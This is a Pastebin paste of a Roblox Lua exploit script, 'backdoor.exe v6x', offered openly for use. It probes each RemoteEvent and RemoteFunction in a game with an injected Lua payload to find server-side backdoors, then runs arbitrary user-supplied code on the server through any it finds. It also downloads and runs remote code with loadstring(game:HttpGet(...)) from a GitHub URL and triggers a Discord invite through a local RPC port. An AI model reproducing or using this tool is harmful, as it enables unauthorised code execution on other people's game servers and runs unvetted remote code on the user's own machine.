Youyyytwx

Backdoor.exe v6x script

Aug 19th, 2024
957
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.76 KB | Gaming | 0 0
  1. --[[
  2. WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
  3. ]]
  4. -- Services
  5. local Players = game:GetService("Players")
  6. local CoreGui = game:GetService("CoreGui")
  7. local Lighting = game:GetService("Lighting");
  8. local Workspace = game:GetService("Workspace");
  9. local JointsService = game:GetService("JointsService")
  10. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  11. local RobloxReplicatedStorage = game:GetService("RobloxReplicatedStorage")
  12.  
  13. -- Variables
  14. local LocalPlayer = Players.LocalPlayer
  15. local RobloxGui = CoreGui.RobloxGui
  16.  
  17. -- Functions
  18. local dateTimeNow = DateTime.now
  19. local tableFind = table.find
  20. local taskSpawn = task.spawn
  21. local taskWait = task.wait
  22. local stringRep = string.rep
  23. local mathRandom = math.random
  24.  
  25. -- Globals
  26. local attached = false;
  27. local backdoor = nil;
  28. local commonPlaces = {
  29. ReplicatedStorage,
  30. Workspace,
  31. Lighting
  32. };
  33. local remoteCodes = {};
  34.  
  35. -- Constants
  36. local INV_CODE = "xJHCqm84cW";
  37. local STRING_VALUE_NAME = mathRandom(1000000, 9999999);
  38.  
  39.  
  40. if RobloxGui:FindFirstChild("V6") then RobloxGui:FindFirstChild("V6"):Destroy(); print("Refreshed"); end
  41. local Variables = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/indev/ui.lua"))()
  42.  
  43. Variables.UI.Main.Active = true
  44. Variables.UI.Main.Draggable = true
  45.  
  46. local function notify(text,cb,b1,b2)
  47. game:GetService("StarterGui"):SetCore(
  48. "SendNotification",{
  49. Title = "backdoor.exe",
  50. Duration = 3,
  51. Text = text,
  52. Callback = cb,
  53. Button1 = b1,
  54. Button2 = b2
  55. }
  56. )
  57. end
  58.  
  59. local function validRemote(rm)
  60. local Parent = rm.Parent
  61. local class = rm.ClassName
  62. if class ~= "RemoteEvent" and class ~= "RemoteFunction" then return false end
  63.  
  64. if Parent then
  65. if Parent == JointsService then return false end
  66. if (Parent == ReplicatedStorage and rm:FindFirstChild("__FUNCTION")) or
  67. (rm.Name == "__FUNCTION" and Parent.ClassName == "RemoteEvent" and Parent.Parent == ReplicatedStorage) then return false end
  68. end
  69.  
  70. if rm:IsDescendantOf(RobloxReplicatedStorage) then return false end
  71.  
  72. return true
  73. end
  74.  
  75. local function scanDescendants(parent)
  76. local descendance = parent:GetDescendants();
  77. for i=1, #descendance do
  78. local descendant = descendance[i];
  79.  
  80.  
  81. if not validRemote(descendant) then continue; end
  82.  
  83. --if #remoteCodes == 5 then remoteCodes.clear(); end
  84. local remoteCode = tostring(mathRandom(100000, 999999));
  85. remoteCodes[remoteCode] = descendant;
  86.  
  87. local remoteClass = descendant.ClassName
  88. local requireScript = ("i=Instance.new('StringValue', game.Workspace); i.Name='%s'; i.Value='%s'"):format(STRING_VALUE_NAME, remoteCode)
  89.  
  90. if remoteClass == "RemoteEvent" then
  91. descendant:FireServer(requireScript)
  92.  
  93. elseif remoteClass == "RemoteFunction" then
  94. local waiting = true
  95. taskSpawn(function()
  96. descendant:InvokeServer(requireScript)
  97. waiting = nil
  98. end)
  99.  
  100. -- If RemoteFunction don't respond in 1 second, we skip this one.
  101. local start = dateTimeNow().UnixTimestampMillis
  102. while waiting and 1000 > dateTimeNow().UnixTimestampMillis - start do
  103. taskWait()
  104. end
  105. end
  106.  
  107. if Workspace:FindFirstChild(STRING_VALUE_NAME) then
  108. attached = true
  109. backdoor = remoteCodes[Workspace:FindFirstChild(STRING_VALUE_NAME).Value]
  110. backdoor:FireServer(("game.Workspace['%s']:Destroy()"):format(STRING_VALUE_NAME)) -- Cleaning up after tonumberselves
  111.  
  112. return true
  113. end
  114. end
  115. end
  116. local function scanGame()
  117. local found = false
  118. -- Scan Common Places
  119. for i=1, #commonPlaces do
  120. local place = commonPlaces[i];
  121. if scanDescendants(place) then
  122. found = true
  123. end
  124. end
  125. -- Scan the rest of the game
  126. local children = game:GetChildren();
  127. for i=1, #children do
  128. local child = children[i];
  129. -- We ofcourse don't need to check the common places again, do we?
  130. if tableFind(commonPlaces, child) then continue; end
  131.  
  132. if scanDescendants(child) then
  133. found = true
  134. end
  135. end
  136. if found then
  137. notify("Backdoor Found!")
  138. Variables.Topbar.Status.Text = "Attached"
  139. Variables.Topbar.Status.Circle.Status_Color.BackgroundColor3 = Color3.fromRGB(95, 185, 47)
  140. else
  141. notify("Unable to find backdoor!")
  142. Variables.Topbar.Status.Text = "Failed"
  143. end
  144.  
  145. return found;
  146. end
  147. local function executeScript(script)
  148. if not attached then
  149. local function callback(text)
  150. if text == "Yes" then
  151. if scanGame() then
  152. executeScript(script)
  153. end
  154. elseif text == "No" then
  155. return
  156. end
  157. end
  158.  
  159. local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
  160. notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
  161. return
  162. end
  163.  
  164. local script = script or Variables.SourceFrame.Source.Text
  165. if backdoor.ClassName == "RemoteEvent" then
  166. backdoor:FireServer(script)
  167. elseif backdoor.ClassName == "RemoteFunction" then
  168. backdoor:InvokeServer(script)
  169. end
  170. end
  171.  
  172.  
  173.  
  174.  
  175.  
  176. local function promtDiscordInvite()
  177. local httpService = game:GetService("HttpService")
  178. local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
  179.  
  180. if not httpRequest then setclipboard(INV_CODE) notify("Invite code copied!") return end
  181.  
  182. local request = httpRequest({
  183. Url = "http://127.0.0.1:6463/rpc?v=1",
  184. Method = "POST",
  185.  
  186. Headers = {
  187. ['Content-Type'] = 'application/json',
  188. Origin = 'https://discord.com'
  189. },
  190.  
  191. Body = httpService:JSONEncode({
  192. args = {code = INV_CODE},
  193. cmd = 'INVITE_BROWSER',
  194. nonce = httpService:GenerateGUID(false)
  195. })
  196. })
  197.  
  198. if request.StatusCode ~= 200 or httpService:JSONDecode(request.Body).data.code == 4011 then
  199. notify("Invite code copied!")
  200. setclipboard(INV_CODE)
  201. return
  202. end
  203.  
  204. notify("You have been promted to join our Discord. Open your Discord.")
  205.  
  206. end
  207.  
  208. Variables.Topbar.CloseButton.MouseButton1Click:Connect(function() Variables.UI:Destroy() end)
  209. Variables.Topbar.R6Button.MouseButton1Click:Connect(function() executeScript(("require(3041175937):r6('%s')"):format(LocalPlayer.Name)) end)
  210. Variables.MainButtons.ScanButton.MouseButton1Click:Connect(scanGame)
  211. Variables.MainButtons.ExecuteButton.MouseButton1Click:Connect(executeScript)
  212. Variables.MainButtons.ClearButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Text = "" end)
  213. Variables.MainButtons.HideButton.MouseButton1Click:Connect(function() Variables.SourceFrame.Source.Visible = not Variables.SourceFrame.Source.Visible end)
  214. Variables.MainButtons.InviteButton.MouseButton1Click:Connect(promtDiscordInvite)
  215.  
  216.  
  217.  
  218. -- k4scripts
  219. -- .------.
  220. -- |4.--. |
  221. -- | :│/: |
  222. -- | :│\: |
  223. -- | '--'4|
  224. -- `------'
Tags: #none
Add Comment
Please, Sign In to add comment